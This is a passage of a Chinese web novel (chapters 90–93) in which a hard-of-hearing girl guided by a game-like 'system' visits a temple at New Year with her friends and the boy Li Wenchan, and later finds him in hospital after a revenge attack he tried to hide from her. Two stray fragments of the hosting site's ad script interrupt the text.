池映雪随沈星桥的视线看向窗外,直到夜幕降临,他从机场带着行李箱出来,又接到电话:“……你说谁一个人出去了?” 沈星桥没说几句就拦下新的出租车,匆匆向十字路口赶去。 池映雪撑着脑袋看他下车后如何焦灼地寻找自己,有些意外。更意外的是,她在沈星桥的视野里还发现了瑶瑶她们。 沈星桥没有多看她们一眼,池映雪只好从他视线范围内偶尔的掠过里捕捉熟悉的影子。 系统悄悄道:[最早发现宿主不见的,其实就是去一班找孟心词玩的万苏瑶小同学哦。] [万苏瑶早就看池鲤鲤和跟班们不顺眼,更见不得她们欺负人,故意和孟心词找你交朋友,结果哪里都找不到“你”。一班的女生这才发现闹大了,她们被万苏瑶压着找到齐幂和徐静萌,喊上胡挚章子健等人一起按池鲤鲤手机里的坐标找来十字路口。] 池映雪呆滞在原地,跟着沈星桥的步伐移动,见到的画面却始终没进大脑。 直到沈星桥停下来。 池映雪看见了一个很瘦弱的背影。纤细,单薄,特别特别脆弱,像一块隐匿在繁华城市里的玻璃,混在无数雪花里最暗淡那一片。也不知他是怎么发现的。 沈星桥走了一步,两步,再次驻足。那里的天空也下起雪。 一个人更先走向她。 黑色的长风衣外套,黑鞋子,藏青色围巾。 比起男人,更该说是男生,少年。身形高挑修长,步伐清清闲闲。 宽大的面具,让人看不清脸。 时而有行人路过,一寸一寸挡住视线又重新开阔。隔着他们,隔着几家店,隔着雪。 男生向她伸出手。 池映雪紧紧盯住那一只手。 冷白颜色与黑色袖口形成强烈对比。青筋。 粉红色,骨骼分明的指节。 即使隔着面具。 [滴——人物视角结束。] 池映雪回归原位。 巧合的是,她现在站的地方就是沈星桥之前站位的对面。 助听器刚才关掉了。像有感应般,心跳加速那一刻,耳边也同时响起清晰的脚步声。 越来越近,越来越响,穿越无数浪花般的白噪音。 池映雪转身,李闻蝉拖着小行李箱,穿越人潮大步走来。 骨节分明的手掌摘下面具,雪花落在李闻蝉黑色的外套,上挑的眉眼。 槲寄生环下,玻璃橱窗边,他稳稳当当停在她面前:“池小雪同学,一天没见,有没有想我?” 91. 第 91 章 “池映雪。” “小雪花?雪神?” 李闻蝉眯起眼挥手,“不是吧,才过了一天你就不认得我了。” 池映雪如梦初醒,下意识抓住那只手。 熟悉的样子。 熟悉的触觉。温暖,而且还在一点一点升温。 雪花贴上李闻蝉的脸,瞬间融化:“你……” 池映雪吸了吸鼻子,李闻蝉赶快取下围巾给她戴上。 藏青色温柔地环绕,最后一圈裹好,池映雪示意李闻蝉低头。 耳朵凑过来。 池映雪踮起脚尖:“你这个面具哪里来的?” “这个面具啊。” 李闻蝉复述,漫不经心地举起来晃了晃,“就在路边随便买的,你看它像不像咱们万圣晚会那个?白色,又大,光眼珠鼻子那里有个透光透气的小孔。” 唯一不同的是这个面具的下部雕刻过,嘴唇是凸起来的,刚好可以让人嘴自然地贴合。看起来更奇怪了,亏得他颜值撑着。 池映雪:“有吗?” “你再戴上我看看。” 李闻蝉正要直起身,池映雪却直接抽走面具。 李闻蝉挑起眉。 大约过了几秒,唇角轻轻向上一动。腰又低了些。 那双眸太清亮,像夏天梧桐叶后的日光在雪里重现。 池映雪双手举面具,指尖遮住眼部透光的小孔。 [叮!“*/kisskiss\*”任务完成!] 系统:[恭喜宿主呀,任务列表全部清空啦!以后你每天都可以解锁100字,直到攻略任务完成~] 研学结束返校,即将期末考,氛围立即变得紧张。 池映雪暂时将各种事情放到一边,好不容易结束最后一场考试,出考场拿到手机就开始翻日历,数还有几天是新年。 某人说要一起去庙里,也不知道还记不记得。 系统讨好道:[男主大人不可能忘的,他昨晚复习的时候还在网上找攻略呢。] 池映雪瞥了它一眼。 系统心虚不已:[宿主你有什么就说吧,只要我能解答一定解答。] [你从J国回来就对人家好冷淡,统好寂寞啊。] “那好。”池映雪立马道,“你告诉我,为什么那个面具人会是李闻蝉?” “你们给的设定里,李闻蝉那段时间应该办好去HK的手续,不再来虹文,也不可能出现在研学旅行中。” “而且,李闻蝉应该并不认得我。” 她也不认得那里的他。 池映雪皱眉:“他怎么会知道我走丢,又送我回去?” 还戴个面具,这是怕被谁认出来了呢,还是也和谁去万圣晚会了在那里怀念呢。 [这个我真的不知道呀,宿主得相信我。]系统委屈,[人家也只是个新手小菜鸟,就比你早两分钟看见沈星桥的视角剧情。] 系统突然打通任督二脉:[当时胡挚他们不是也在吗?是不是男主大人刚好去J国玩耍,听说之后赶过去热心相助的?] 它越想越觉得有道理。池映雪拽着书包背带,步伐慢吞吞。 池映雪比它更早想过这个可能性。说实话,很有可能就是真相。 但她为什么不太满意呢。 新年的时候,池映雪来到约定好的寺庙下。 街道的樱花树落满白雪,像提前到来的春天。许苹安和裴景已经等在上庙的台阶。 池映雪把从J国带回来的伴手礼和他们的相片、物品递过去,许苹安撞了撞她:“我看万苏瑶发的动态,你期末考又是年级断层第一,牛啊小雪。” 裴景笑道:“看来我不用去上香求学业了,直接拜你就好。” “就是的。小雪,你保佑裴老师考上P大。” 池映雪好奇:裴景想考P大? “不是吧池映雪。”裴景故意夸大伤心的表情,“你加了我这么多年企鹅好友,没发现我昵称很奇怪吗?” 池映雪呆呆地回忆。“PeiKingU”。 只看大写,PKU……university? 许苹安幸灾乐祸地看了裴景一眼,给池映雪找补:“我们小雪满脑子学习,哪有时间研究谁企鹅昵称啊。” “咱们裴老师一世英名,就因为这个企鹅昵称被众迷妹爱称为‘裴King’。” 许苹安:“不瞒你说,我给他的备注到现在还是‘裴王子’。” 池映雪小鸡啄米式点头。 这不是挺像一回事的吗。 裴景:“…………”这两人。 裴景瞪了一眼许苹安,无奈地望向池映雪:“你那个朋友什么时候到?” 池映雪出门前就和李闻蝉发过消息。不知道为什么,他到现在还没回复。 池映雪根本没想到被放鸽子的可能,时不时踮着脚尖朝两边的路口望。 应该不可能出什么事吧,系统说过,男主是不会有事的。没人比池映雪知道“剧情”对主角们有多好。 可心里明白是一回事,忍住不担心又是另一回事。 池映雪在原地踱步。裴景欲言又止,和许苹安对视一眼,干脆捻了个她可能感兴趣的新话题:“小雪你现在能听见了,我今年六月高考完,要不要一起坐地铁打卡?” 池映雪成功被吸引一小撮注意力:打卡? “南城每年的高考和毕业季都会有地铁播报的祝福语,大约六月中旬。” 裴景叹了口气,“我去年六月坐地铁时看见高三和大四的学生们组团打卡拍视频,当然没觉得有什么,自己快毕业了发现时间过得还真快。” 池映雪去年六月也坐过地铁,就是和他俩一起坐的,却一点印象也没有,这才想起那个时候她还听不见。 毕业。 那就是未来。 池映雪以前没有未来,下线后就销声匿迹。 这一次的未来,会是什么样呢。 池映雪把脸埋进厚厚的围巾。 [滴!检测到攻略目标李闻蝉。] [估测目标任务距离宿主15m。] 这么近? 可池映雪转了一圈,还是没看见。 [估测目标任务距离宿主10m。] 系统提示道:[宿主,你看对面那辆车后面。] 车窗反射深绿光照,隐约可以看清小轿车后没遮挡好的人影。 那么高的个子,弯腰屈膝,双手像大爷遛鸟一样背在身后,简直可以称得上鬼鬼祟祟。 池映雪:“……?” 裴景注意到池映雪的眼神,一起看过去。碰巧车后的李闻蝉缓缓探头,三人目光隔着马路来回交汇。 空气一时十分安静。 直到前方路口红灯停绿灯行,才有疾驰而过的车辆打断沉默。 冬风拂面,人行道绿灯通行。李闻蝉把口罩提起来,瘪了瘪嘴,老老实实地跟在几个小学生后面过斑马线。 李闻蝉朝三人跑去,在池映雪身边靠后一些停住。 左手递出两份伴手礼:“新年快乐。” 池映雪和李闻蝉已经在除夕夜那天就互换过新年礼物。不过那天他们也没见面,是由管家爷爷代为转交的。不知道他在忙什么。 李闻蝉:“谢谢你们一直照顾我们小雪,以后都是朋友了,有机会我们一起聚。” 许苹安嘻嘻哈哈地双手接过:“同喜同喜,小雪的朋友就是我朋友!” 裴景看了一眼在旁边默许的池映雪,不情不愿地道谢。 寺庙上香需要门票,裴景拽走许苹安去买四个人的。他们刚转身,池映雪就闻到一阵香风。 唰。李闻蝉终于舍得把那只一直背后的手拿出。 粉白色的小花苞在嫩绿叶芽的衬托下显得很仙气,花片很薄,像是细细小小的梨花,又像被精心捆扎成束的雪。 老宅园林的长廊就插有这种花,据说叫珍珠李。 池映雪的手揣在奶蓝色大衣外套的口袋里,忽然感到些许沉重。 李闻蝉塞进来一个暖乎乎的硬疙瘩,池映雪拿出来才发现是个暖宝宝,也是蓝色的。 此外还有一个纸折成的蝉,蝉翼上写着新年快乐。 他似乎总能让她收到双份的礼物。 池映雪把花束抱紧了些,让李闻蝉把耳朵靠过来。 李闻蝉却退后一步。 感冒了。他短暂地摘下口罩,指了指发红的鼻子,给嘴巴做了个拉拉链的动作。 池映雪蹙起眉,下意识上前查看。李闻蝉慌忙戴好口罩,摇了摇头:“病毒性感冒。” 医生说有几率传染。 难怪。 他甚至戴有一整个冬天都没戴过的手套。 池映雪话到嘴边,打了个转问系统:“这就是你说的百毒不侵、百战无碍、身体倍儿棒?” 系统卖了个萌,心虚地飘走。 上香的步骤很简单。领香,点香,敬香祈愿,最后抛入香炉中。 一人三根香,亲情友情是最基本的。此外许苹安许愿自己喜欢的小说太太爆更完结,裴景许愿考上P大。 许苹安:“小雪想许什么愿?考大学?” “不对,你不用许愿,估计人家大学的招生办会来抢你。” 李闻蝉举着刚燃起烟的香从人群里挤过来,紧盯池映雪的手机屏幕。 「希望身边人身体健康。」 「然后,和大家像现在这样好好在一起,学业上顺顺利利。」 纤细的手指在空中晃了晃。 池映雪:「大学去京城或者HK吧。」 风把白烟吹进李闻蝉的眼睛,他用力眨了几下,有些发红。 “诶诶诶?”许苹安拍了拍裴景,“你们怎么都想去京城?那我也去考那边的大学吧,这样以后还能一起玩!” “HK大学也很牛,我堂姐申上了那里的研究生,大伯直接卖了个小铺子让她去念。不过HK我和裴老师肯定去不了,我俩连通行证都没办。” 许苹安垂下睫,很快掀起来:“这位仁兄呢?你许什么愿?” 池映雪也看向李闻蝉,和他对视。 李闻蝉的左手抚上右手拿香,看起来还蛮虔诚。即使池映雪清楚地记得他不止一次和胡挚讥讽过老爷子有多迷信,说信这些天地神鬼的都是傻子。 李闻蝉:“三根香。三个愿望是吧?” 燃着的香利落掷出。 “第一个愿望,池映雪心想事成。” 香稳稳落入巨大的灰黑烟炉中。没有声音,白烟缭绕。 池映雪盯着李闻蝉手里的黄色细线,不是明火却依旧将她双 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眸燃亮。 “第二个愿望,天天向上,和池映雪上同一所大学。” 隔着口罩的声音不太清楚,混杂着鼻音和嘶哑。眸光却像阳光穿越疯长的枝桠,密叶也无法阻挡明湛的郁勃。 风吹起李闻蝉额前浓黑色的碎发。因为在生病,他没像平时那样打理发型,而是柔软的顺毛。池映雪最近跟万苏瑶学习了不少梳妆打扮方面的知识,突然意识到李闻蝉的T区极其完美,很漂亮又没有女相。 香炉上的白烟团被风一起吹拂。李闻蝉停下来等了几秒,眼看风要停才谨慎地掷出第三根香。 “第三个愿望……” 话没说完。 刚止下的风忽地刮起来,卷走空中轻飘飘的香线。 香炉边有满是铁锈的围栏,李闻蝉没有一丝犹豫,伸长手臂捡起香,小跑着重新点燃、敬拜、投掷。这次直接探出身将香垂直插进去,插得很深,很稳。 只是这一打岔,池映雪最后也没听见那第三个愿望是什么。 从寺庙的店里出来,倒是听见李闻蝉靠在红柱打电话。 屋檐的阴影落在他身上,似乎在质问通话那头的人。 这时的李闻蝉眉眼又锋锐起来,有股不会对身边人流露的气质,很像池爷爷在书房对做错重大决策的下属发火。 池映雪听见“过年”“松懈”“跑了”的字眼。第六感告诉她,这是和公司有关的争端。 生着病还要处理,池映雪以前只羡慕李闻蝉光鲜,厉害,这样看来,好辛苦。 李闻蝉余光看见池映雪,没说几句便挂了电话。 裴景和许苹安已经先一步下去打车了。他们也沿着寺庙的黄墙走下台阶,池映雪捏了捏口袋里的挂件。 李闻蝉之前说要买个蝉式样的,但人家寺庙压根不做。最后买了两个一样的挂件,一人一个,是橘色的小香囊,背面用细线绣了一只蝴蝶,一只小猫。 蝴蝶在空中对小猫扇动翅膀。小猫抬起头望着蝴蝶,翘起尾巴。 寺庙本身就在山上,下楼台阶亦很多。高墙林立,古朴的灰色砖瓦和转角处的城门阻隔远方的摩天大厦,像是两个平行的世界。 池映雪停下来,轻扯李闻蝉的外套。 「你说。」 如果有另一个世界,我们还会这样走在一起吗? 不是偶遇,不是刚好碰了一面,走过一节路。 池映雪想,但愿会。 李闻蝉安静地凝视手机屏幕,慢悠悠地退后一步。 他把口罩摘下来。冬日里冷调的太阳光线柔和地晕染着不似往日殷红的唇,嗓音是低哑的,像消了泡的汽水在冰箱里冻成橘子冰,用牙齿啮咬。 “一定会。” 李闻蝉:“不管哪个世界,只要是你出现在我面前,我都会向你走来的好吧。” “不……” 他挑了一下眉,梨涡明晃晃,“纠正。是跑来。” “为什么突然这么问?” 池映雪想到她已知的结局,只把这个对话当成安慰。 她不答反问:「那你会去HK吗?」 “你听说了?”李闻蝉没想到她还真知道这个,刚才在香炉前的遐思再度涌上心头。 所以他是不是可以理解为……… [叮!攻略对象好感+1。] [当前男主好感:97。] 李闻蝉用手触碰鼻子,手指都摸上去了才发现还隔有口罩,又装作整理头发的样子。 “以前是……想过。” 莫名有些心虚。 何止是想过,房子都装好了。李闻蝉默了片刻,实话实说:“唐姨和韩潇都在那边,我差点去了。还好没去。” 池映雪心头的乌云被他身后的阳光轻轻拨开。 他们接着并肩向下走。踏下最后一节台阶,城门洞的全貌显现。 李闻蝉:“你就不想问问,我为什么没去?” 池映雪又一次和他对视了。李闻蝉深深地看着她的眼睛,视线比太阳光还要明晃晃。 许苹安和裴景终于拦到出租车,在门洞的另一边朝二人大喊。李闻蝉低头戴好手套,握住池映雪的手腕,顺着日影朝城门走去。 还在年中,街头已经有摆摊的老人和背着书包上补习班的学生。来上香的游客更多,拍照打卡,池映雪听见嘈杂的咔擦,咔擦。大白天也要开闪光灯,晃得前方黑色的背影朦朦胧胧。 池映雪关掉助听器。 李闻蝉说:“因为南城晚上的灯,全世界第一好看。” 接下来的整个新年,池映雪都没再见到他。 池老爷子嘴上抱怨这臭小子年纪轻轻身体就不好,实际着急的很,天天在偌大的老宅里转来转去。管家宽慰:“少爷之前天天念叨要来这边住。这下您让少爷过来养病,他偏不肯了,还不是怕传染了你们。” 老爷子抬起下巴笑。 没多久又皱紧眉:“……我那是和他置气。谁知道他平时挺健朗的,一烧起来没完没了?早知道他个成年人连自己都照顾不好,我就不让他一个人住了。” “医生不是说了吗,平常不生病的人感染病毒可能会更严重点,但少爷也就是发烧咳嗽,ct什么都是正常的。” “那倒是。”老爷子一锤定音,“等李闻蝉好差不多了就让他回来住。” 92. 第 92 章 池映雪本来在旁边听乐子,这下倒好,手里的杯子差点没拿稳。 茶水洒到手背上,池映雪赶快抽纸擦拭。老爷子看过来:“小雪。闻蝉之前在的时候就住你对门那屋,就是不知道他要是再住进来,会不会打扰你学习?” “你要是不愿意,我给他换走。” 池映雪摇头。 虎牙轻轻咬住唇瓣。 这样会不会表意不清? 池映雪把围巾扯下来悄声道:没有不愿意。 “也好。”老爷子满脸骄傲,“你俩有个照应。你要是有那个闲情逸致,还能教教那小子学习。毕竟你可是虹文一班的一号人才。” 池映雪在上学期的期中期末都是第一,开学毫无意外分到一班。 报道这天,桌面上多了许多礼物,全是五班同学们的小心意,还有十几张明信片。 竟然还有手作的葡萄果冻,可惜没有署名。 这是池映雪刚转学来时想都不敢想的。记得运动会她拿着鼓励奖回班也是这幅盛况,李闻蝉还不知从哪里搞回来一个花环套在池映雪身上,只差没拿小喇叭全班巡回庆贺。 万苏瑶帮池映雪收拾桌子,手刚扶上书架,眼泪就掉下来。 “小雪……” 胡挚也有些伤感:“雪神……” 秋怡本来还觉得池映雪考进一班是好事,和万苏瑶昨晚私聊笑话了论坛上之前嘲笑过池映雪的人三百条,结果这下看万苏瑶泪汪汪,一起陷入沉默。 为什么有种孩子大了要离家的感觉。 章子健扶了扶眼镜,借机抹去眼尾的湿润,仰天长叹:“…………你们雪神是分班了,又不是分别了。” 他掏出一小包手帕纸。巧了,正好一人一张。 “一有空咱们就组团上楼团建呗。”章子健说,“实在不行咱们做块牌子给池映雪,就写我在五班很想你,常回家看看。” 万苏瑶眼泪干了:“…………毽老师,你好土。” 伤感的氛围一扫而空。几人帮忙把东西搬上楼,池映雪被迫两手空空,走在最后。 关门前,目光扫向空荡的最后一排。 李闻蝉请假了。 倒无关感冒。李闻蝉母亲和唐阿姨早年资助过的一位艺术系学生近期成名,在HK办画展纪念恩人花女士,李闻蝉受邀前往。 他拍了不少照片发来,画展,茶点,一天一两张。待万苏瑶她们走后,池映雪逐张回复,被走进教室的齐幂抓个正着。 一班的座位按照学号顺序S形排列。池映雪就坐在进门处,后面是第八名的穆雨阳。可惜章子健差了两名,不然也能进一班。 齐幂死亡凝视。池映雪讪讪地放下手机,整理新的桌面。 还是徐老师温柔。 齐幂在讲台上强调新学期注意的事项,顺带宣布邢芷的处理情况。 邢芷在事态扩大后坦诚一切,但基于已经犯下的错误,学校最终决定劝退。池映雪在老爷子那里听见更多消息,据说邢芷的屡教不改和家里的教育有关。 老爷子教导池映雪:“以利聚者以利散。绝大多数人对你好都是因为你身上有东西可图,害你也一样。邢家小女儿巴结池鲤鲤,那是因为她家本就依附池润;但她暗中嫉妒甚至挑唆池鲤鲤行事,能看出邢家背后的小动作。” 老爷子见池映雪对池润一家真的灰心,便坦诚地把池润这种只懂拉帮结派的思维损了一顿。李闻蝉还在电话里提醒他,为了避免波及盛池,把邢家的势力慢慢剥离出去,从让小辈们转学北上开始。 池映雪走神了一下便回到眼前,手里还拿着一沓装订过的打印版作文素材。她一页页翻阅。 【南方周报新年贺词。】 【南城历年高考满分作文摘析。】 …… 【名句积累。】 “在你心里住着一个金光灿灿的人。那个人爱你,想要你赢、获胜、快乐。 ——马特·海格《活下去的理由》” 绝大多数人有所图谋。 但有的人光芒万丈,仅仅乐意将她照亮。 齐幂言简意赅,也不搞自我介绍那一套,说完就让同学们自习。 大门合拢。池映雪从笔袋的夹层里取出一张拍立得,一只纸叠成的蝉,按压平整后用小夹子夹在书立上,在外面贴了张记单词的便利贴欲盖弥彰。 一班的学业繁重,具体表现在作业和没完没了的小测上。 此外,课间也让池映雪很不习惯。尤其是大课间,以前她跟着瑶瑶几人吃吃喝喝,嘻嘻哈哈。一班的学霸们偶尔用来养精蓄锐,两眼一睁就是学;上课写作业,下课做课外的卷子。 幸好这周六不用上课——因为要召开新学期的第一次家长会。 这一天,学生按理来说是可以在家休息的。 池映雪虽然身为第一,却因为嗓子还不方便,没有被安排发言。不过她想试着在下次班会竞选一个职位当当,便来校帮齐幂给家长做登记。 黑笔写下“秦书”两个字时,池映雪听见前方的啜泣。 她没抬眼,有些惊讶自己的淡然,转而让后面排队的家长上前签字。站在池映雪身边的大伯母肖玉雯及时把秦书拉走。 “……小雪。” 秦书喃喃,有些恍惚。她本来是想看看池映雪离家这么久,是不是瘦了,累了,把自己熬成只会学习的机器。但所有悔恨怀疑在看见对方愈发好颜色的脸庞和有条不紊的姿态后显得可笑。 “小雪被你们养得很好。” 肖玉雯:“是她把自己养得很好。” “再说好不好的……就算看上去不太好,那也是我心中最好的小姑娘。” 肖玉雯淡淡道,“你也该去和池润好好说一声,不要看见小雪现在学习好、人缘好了就四处张扬那是他的掌上明珠,从前小雪刚回家时,他可不是这番做派。老爷子很不高兴。” “那她也不可能一直不回家吧?”秦书忙道,“我们已经悔过了,她再回来,我们一定好好对她。” 肖玉雯反问:“那如果小雪的耳疾复发呢?” “什么?” “医生说,她这种情况百年难遇,谁都没法保证未来一直好转。”肖玉雯说,“不确定因素太多,再次失聪、无法借助助听器生活也是有可能的。到时候你们还会好好对她吗?还是说,依旧舍不得那个你们栽培多年的假公主?” 肖玉雯察觉到秦书的犹豫,在心里鄙夷一番,摇了摇头:“你进去吧,以后小雪就住在老宅。” 秦书失去全身力气,这句话却被另一人听入耳中。 通往天台的楼道没有旁人,沈母拉着脸上楼,叫停正在背稿的沈星桥。 “……池老爷子居然真让她留在老宅这么久。而且听肖玉雯的意思,他们压根不在乎池映雪的聋哑,是铁了心要好好待她。” 沈母完全无法理解这种情谊,只后悔自己曾在池映雪和池鲤鲤间选择了后者。 “你上次应该听了我的嘱咐,没和池映雪闹僵吧?”沈母放下心,“现在准备一下,我们一起去找池映雪打招呼,以后就和她多接触吧。” 总归和池家有婚约,得早作打算,利用起来。 沈星桥正对雪白的墙壁,空茫一片。手指翻动黑白稿件的纸张,空气里隐约可以嗅见油墨气息。 余光在玻璃反光里瞥见清瘦的面庞。苍白,几乎可以称得上有驯服感的温顺,整身熨烫得体的校服套装,每一粒扣子都扣好。 一切都在秩序之内,预料之中。 疏朗的眉毛轻轻挑起:“晚了。” 沈母:“嗯……什么?” 沈星桥垂眸,勾一勾唇:“母亲,晚了。我上学期就和她说明了一切,从头到尾的计划。我们绝交了。” “池映雪永远都不可能再相信我和您了。” 啪! 沈母甩去猛烈一掌,沈星桥靠在墙上。 雪白的墙面,多了几滴鲜红,慢慢变暗。沈星桥抬起手背,很温柔地拂去,只留下浅浅的痕。 “你现在是越来越能干了,沈星桥。”沈母怒极反笑,“我花那么大价钱给你补课,你连个第一都保持不了,竟然还是被一个聋哑人赶超,你知道旁人都怎么笑我吗?现在还要把小辫子递到那哑女手上?” “还不务正业,捣鼓什么下厨,你以为你学做什么果冻我在监控里看不清楚?和你爸一样的废物!” 沈星桥等她骂完,掏出淡紫色包装的手帕纸,缓慢将脸上的血迹擦干:“一会还要代表学生在家长会上发言,我去整理一下仪容。” 沈母冷静下来,挥手放行。 沈星桥神色如常地下楼,停在下一个楼梯的转角。 熟悉的身影很安静。 池映雪站在墙边,看着他。 第一次见面的时候,沈星桥就在想,她穿虹文的校服裙套装一定很好看。虹文公私合办,校服设计来源于一任大胆前卫的女校长,据说还有当时的学生花颂音女士参与其中,不是传统学院风的制服裙,更像便于运动的白色骑装,裙裤乖巧而不失自由。 今天没有戴葡萄的发卡,是蝴蝶的,蓝颜色,让本来有些软和的气质里多了清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冷。 沈星桥慢慢地收回眼,继续走过她,朝洗手间去。同一节台阶,耳畔响起很轻的声音,没能被气流压制的音节很哑,像砂砾碾磨:“我不会原谅你。” 沈星桥脚步没停:“我知道。” 池映雪突然拎起脚边的手提袋:“这里有两个冰袋,你可以使用。” 沈星桥这才意识到脸上还有掌印,就是靠近她那侧。面上一片滚烫。 池映雪原本打算上天台享用保温袋里的甜品,没想到会在这里听见沈星桥和他妈妈的对话。 很多困惑解开。但池映雪记得某人说过,伤害就是伤害,利用就是利用,即使里面夹杂了苦衷和真心,也要以她的感受为重。 甜品也是某人买的,寄到学校,胡挚帮忙提过来。 说起来李闻蝉这趟HK行还挺久,到现在还没回来。池映雪皱起眉,虎牙磨了磨。 看在甜品的份上,原谅他了。 袋子里装的是手工巧克力和抹茶挞,听说是HK独有的老字号,还没有网销服务。 池映雪在研学旅行坐车时无意刷到过,看图片有些意动,但仅限于停留一下。也不知是不是李闻蝉在旁边看见了,居然真的买来。 又或许只是巧合,毕竟他一直原因不明的……很了解她心里的想法。 池映雪眨动眼眸,把冰袋给沈星桥就打算去吃东西。 沈星桥看见她手腕上彩色的链条,蝉旁边就是闪耀的小雪花,攥紧冰袋,最终还是开口:“……你去看过他了吧。” ? 不知为何,池映雪猛地心沉。 看过谁? 沈星桥没想到池映雪会如此吃惊,下意识坦言:“我前两天在医院里看见李闻蝉,他好像被那个蒋家人恶意报复了,刚做完手术,现在还在住院修养……” 医院的VIP病房里,池静俭削着苹果:“你这伤可真够严重的。” 李闻蝉自己不以为意,但瞧着着实唬人。他撇撇嘴:“一定别让池映雪知道。” 池静俭不懂他,无奈地点了点头,李闻蝉自言自语:“我可是好学生。好学生是不会打架斗殴的。” 虽然他的确是被袭击的。 池静俭:“行行行,你是好学生。” “给好学生说一个好消息,刚小陈打电话来报告,蒋傅已经进去了,无期。” 池静俭叹气,“谁能想到他家和那靠山一起落马后,在外面又勾搭上了黑色背景的人,里应外合趁过年逃出去,就为了报复你。你也是命大,这要换别人在山路上遇到那么多混混,别说刀伤,直接……” 他没说下去,转而提醒:“老爷子之前的话还是没错。做人留一线,不能让他们狗急跳墙,你这次就是太急了,一下把整个蒋家弄没。” 李闻蝉吊儿郎当:“他活该。” 动他可以忍,谁叫蒋傅动的人是她呢。 池静俭:“……真的不告诉小雪?” “我看你能瞒到什么时候。” “怎么不能瞒。”李闻蝉谨遵医嘱,小心地给自己上药,“我昨晚特意让韩潇去代买吃的,今天以我的名义寄过来,她肯定还以为我在那里呢。” “要是伤一直好不了,就说我在那边感冒复烧,留一阵子休养生息。” “为什么?” 声音好像变得有点沙哑。 李闻蝉的手指按在伤口处,不自觉加深力道,想让药完全渗进去。疼痛加重,他没把这点变化放心上。 “为什么不告诉她?” 刀刺出的伤痕在苍白皮肤上十分可怖。 “……就是不能。” 李闻蝉低声道,“她胆子那么小,会吓到的。” 他可还记得之前池映雪撞见他“打”宁世延后退一步的动作。 怕他。 不能怕他。 “咳咳。” 苹果皮断进垃圾桶。窸窣和池静俭的猛咳一起响起。 李闻蝉缠着绷带,头都不抬:“咳咳咳的。我前阵子剩下的急支糖浆还没喝完,要不你拿去?” 咳嗽声更重了。 李闻蝉一听就知道在演,无语地扯着嘴角望过去,突然意识到不对劲。 刚那个问话的声音,怎么有点耳熟呢。 不是覆盖在表面的沙哑,不是缓滞的轻飘飘的气流。而是在那背后,很熟悉很熟悉,被他听见过的,某人心里面讲话的清灵。 李闻蝉的眼球缓慢且呆滞地挪向门口。 池映雪紧盯他腰间的伤,唇抿出白。 圆眼睛湿漉漉,很红很红。 93. 第 93 章 池静俭正要打圆场,被池映雪望了一眼,心虚地擦着汗起身。 出门后还把门关严,在外面守着。 李闻蝉双手悬在空中,好半天才落下,拍拍雪白的床单,嘴唇嗫嚅:“你……” 池映雪朝他走来,李闻蝉眼神乱瞟:“有点乱。你怎么来的?家长会没人欺负你吧?” “池静俭好像削了个梨还是苹果,我拿给你吃。对身体好。” 手指慌乱动作,直到滚烫的水滴敲在手背青筋。 李闻蝉僵硬地转身。 眼角晶莹,整张脸都淌着湿润,珍珠从颤抖的睫毛坠落,挂在唇瓣的那道咬痕上。 虽然这么想很不合时宜,但李闻蝉的第一反应是滚动喉结。 李闻蝉不敢多看,艰难地向床的另一侧挪动,去拉池映雪的手腕:“你先坐。” 拉不动。 小身板在这种时候怪硬气的。 李闻蝉佯装伤心,没正形道:“去了一班就嫌弃我?” “你等着。我现在每天都在补习,等下学期就来一班找你。” 池映雪甩动李闻蝉的手,没甩开。 上下虎牙相抵。 到底谁嫌弃谁? “你是不是觉得这样很英雄,很酷?” 哭腔浓厚,“一个人把所有事情做完了,什么都不和我讲。我在你这里算什么?需要保护的,只配一无所知的累赘吗?” “所有人都知道。爷爷大伯一家帮你隐瞒,韩潇,胡挚,送了甜品。” 沈星桥都知道李闻蝉住院。 只有她。 李闻蝉掌心一松,池映雪抽开手,掀开他刚才掩好的被单。 绷带下还渗出殷红的血迹。 李闻蝉忽然问:“那你现在看到了。” “会怕我吗?” 池映雪抬起眼,和那双漆黑的眸对视。 不同于从前明晃的光线,这时候的李闻蝉给她一种微妙的感觉。 很像幼兽从掩藏自己的栖息地探出脑袋,接受外界的审视。 不是第一次接受,此前或许有诸百种探究,忌惮、恐惧、轻蔑,他并非在乎。而现在李闻蝉的眼睛里却写满两个字。 在乎。 池映雪:“我为什么要怕你?” 攥紧的被单慢慢松开。 李闻蝉的眼一眨不眨,紧盯住池映雪的瞳,很怕错过一丝细微的变化。 唇角抬起,又慢慢敛住。 李闻蝉认认真真道:“对不起。” “没有觉得你不配知道。我从没那么想过你。” 李闻蝉找了半天,没看见面巾纸,索性卷起干净的衣袖内侧,轻轻擦池映雪的泪,“因为我知道我名声不好。” “你才来学校的时候也说过,我在别人口中是‘恶霸’,虽然后来也有努力当个好学生,但我想……” “一个人的第一印象,还挺重要的。” 更别说她就是所有人眼里好学生的代表。 多乖啊。池映雪同学。 袖口停下,拂过莹润的脸庞。 指尖拨动被泪水粘连的碎发。 “再说。” 李闻蝉啧了一声,满脸懊恼,“………受伤什么的,也太糗了吧。” 池映雪真不知道说这家伙什么。都这个时候了,还想着个人形象。 她都……忘记遮掩沙哑的嗓子了。 早知道他想的是这些,就不那么气了。 池映雪抿抿嘴,掏出手机打字:「在你心里我就是在乎这个的人吗?」 「那说到第一印象,你对我的第一印象也不好呀。」 李闻蝉立马辩驳:“谁说我对你第一印象不好?” 池映雪想起那0.5,哼了哼气。 李闻蝉眯起眼,卧蚕深深。兀自回味了一番那天的情形,耳垂由薄红开始越染越深。 ……怎么可能不好。 她的声音,那么好听。 嘴都不用张,他就知道得最清楚。 确认池映雪的气已消,不再哭鼻子了,李闻蝉才靠上背后的软枕。 “我突然发现蒋傅这孙……” “这人,还做了件好事。”李闻蝉及时改口。 池映雪在病床上偏头:? 李闻蝉调整床头的按钮,病床前端缓缓抬高,他的脸逐渐靠近她:“不受伤不知道,有人这么关心——” 眼前弹出好感度+1的提示,池映雪脸颊微热。 李闻蝉点到为止,扬起眉调侃:“而且,有人的声音……” 哑哑的。 池映雪知道。 还用他专门说出来吗?真讨厌。 李闻蝉眉眼染着灿星般的笑:“和我想的一样好听。” 池映雪最终当上了一班的副班长。开学杂事多,既要和其余班干部一起开会,又想放学后去医院看某人,只能压缩休息的时间。 这天中午,池映雪和几个小组长帮齐幂干活,就没下楼找万苏瑶她们一起吃饭。齐幂给几人点了外卖。 